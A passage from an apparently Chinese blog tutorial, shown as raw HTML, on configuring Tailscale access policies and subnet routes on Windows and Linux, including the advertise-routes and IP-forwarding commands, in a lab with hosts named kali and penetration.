Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3858267716535433" title="null" data-type="png" data-w="1270" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=58d8cd12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rb9bWuq1A3jO4at7qDjfIDLrBKRdqTCXaG6RpYnUeDRsDkDx86sKkJEg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">之后我们利用Windows访问kali的主机，可以发现已经不能访问了，因为上面的策略，只允许访问Windows的主机</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.400382226469183" title="null" data-type="png" data-w="2093" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a169a5ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rb1bsichwqq4bPBDsxLCUvMHfclPOcGK2h9JzFm0JCibCFEhiapeJictLP4Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">到这里就解决了双向连接的问题。</p><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">主机网段问题的解决</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">现在还存在最后一个问题，现在仅允许对目标主机进行访问，但是无法访问某主机中某个网段的其他主机。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里接入了另一台主机，这台主机中运行着一台虚拟机，其中的网络模式为nat，作为演示。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.22258064516129034" title="null" data-type="png" data-w="2170" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=6297451e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbZh5y1fKxmBq3AsquYjQNdia1dz9gWNlSg7IsVJiala1edibk6KjDdHO0g%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6637401229148375" title="null" data-type="png" data-w="1139" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=106f11cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbzwbrQ6ibTcAREcdy3cBDavpZ7ZibJ0FR4AmthkYwcwicrlbr39enKjBng%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在虚拟机中通过python起了一个http服务，用来进行下面的演示</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.38110964332893" title="null" data-type="png" data-w="1514" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=89937988&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbBpAPfvM1Q0vAFoVw335pjwR3R2MG1kwfiaDIteaQMOj9kgtPCFFviccw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">针对这种问题，官网允许将主机设置为Subnet routes(子网路由)。通过对其进行配置允许访问子网路由中的网段</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="1.0603389830508474" title="null" data-type="png" data-w="1475" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4dac3839&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbCt6VDCENRfpCicsNEHZ4nOGyCOPBjogxQxV8Lk0Txica3evX6Ne8IZVw%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="font-size: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">配置子网路由</h4><h4 style="font-size: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">windows</h4><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">tailscale up --advertise-routes=10.0.0.0/24,10.0.1.0/24</code> 将desktop-5vaj2mu设置为子网路由，并设置可以访问它的网段为10.0.0.0段</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.24369747899159663" title="null" data-type="png" data-w="952" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b428e1a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbic8dCSkVqibttD7icNF7jhq64iaGhyKg0icJ0T7DJvc9KwvMmolafn8juWA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">点击edit route settings，勾选上10.0.0.0/24段</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.28376139188069593" title="null" data-type="png" data-w="2414" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=46013db8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rb3V4F2wgqtC4dKaoe4w3VVia4IE1Fhfrr2TkzxKkS6SeRsRj0pRdoEOg%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.7714535901926445" title="null" data-type="png" data-w="1142" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=99d2365c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbmBqmqRaFAELeat2tVDd2xe48k0CIq6aHgkwbeWryMIjcUYTehKAQtw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">子网路由设置完毕后虚拟局域网中的其他主机就可以直接访问desktop-5vaj2mu机器中10.0.0.0网段的所有主机，这里使用penetration机器来访问10.0.0.10的虚拟机，已经能成功访问。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4141323792486583" title="null" data-type="png" data-w="1118" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2266d01b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbv1fDrkVhibWmSibeEKCLOhvUIMkZbfqC74LNfLMIpgtakGMrHKpicLzIw%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="font-size: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">Linux</h4><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Linux也可以设置为子网路由，只是相比较与windows需要多设置一个端口转发</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">设置端口转发</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;padding: 0px !important;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgQuj451xV1DtzNrFYU99GSaNXVRzP52HwDTyCDDCBD5vMnKkPyHFybnWLpQaoANsSk9p6SaWibfNA/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: justify;line-height: 1.75;font-size: 14px;margin: 0px;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">echo</span> <span style="color: rgb(152, 195, 121);">&#39;net.ipv4.ip_forward = 1&#39;</span> | sudo tee -a /etc/sysctl.d/<span style="color: rgb(209, 154, 102);">99</span>-tailscale.conf<br/><span style="color: rgb(198, 120, 221);">echo</span> <span style="color: rgb(152, 195, 121);">&#39;net.ipv6.conf.all.forwarding = 1&#39;</span> | sudo tee -a /etc/sysctl.d/<span style="color: rgb(209, 154, 102);">99</span>-tailscale.conf<br/>sudo sysctl -p /etc/sysctl.d/<span style="color: rgb(209, 154, 102);">99</span>-tailscale.conf</code></pre><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;padding: 0px !important;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgQuj451xV1DtzNrFYU99GSaNXVRzP52HwDTyCDDCBD5vMnKkPyHFybnWLpQaoANsSk9p6SaWibfNA/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: justify;line-height: 1.75;font-size: 14px;margin: 0px;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">echo</span> <span style="color: rgb(152, 195, 121);">&#39;net.ipv4.ip_forward = 1&#39;</span> | sudo tee -a /etc/sysctl.conf<br/><span style="color: rgb(198, 120, 221);">echo</span> <span style="color: rgb(152, 195, 121);">&#39;net.ipv6.conf.all.forwarding = 1&#39;</span> | sudo tee -a /etc/sysctl.conf<br/>sudo sysctl -p /etc/sysctl.conf</code></pre><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">设置允许的子网范围</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 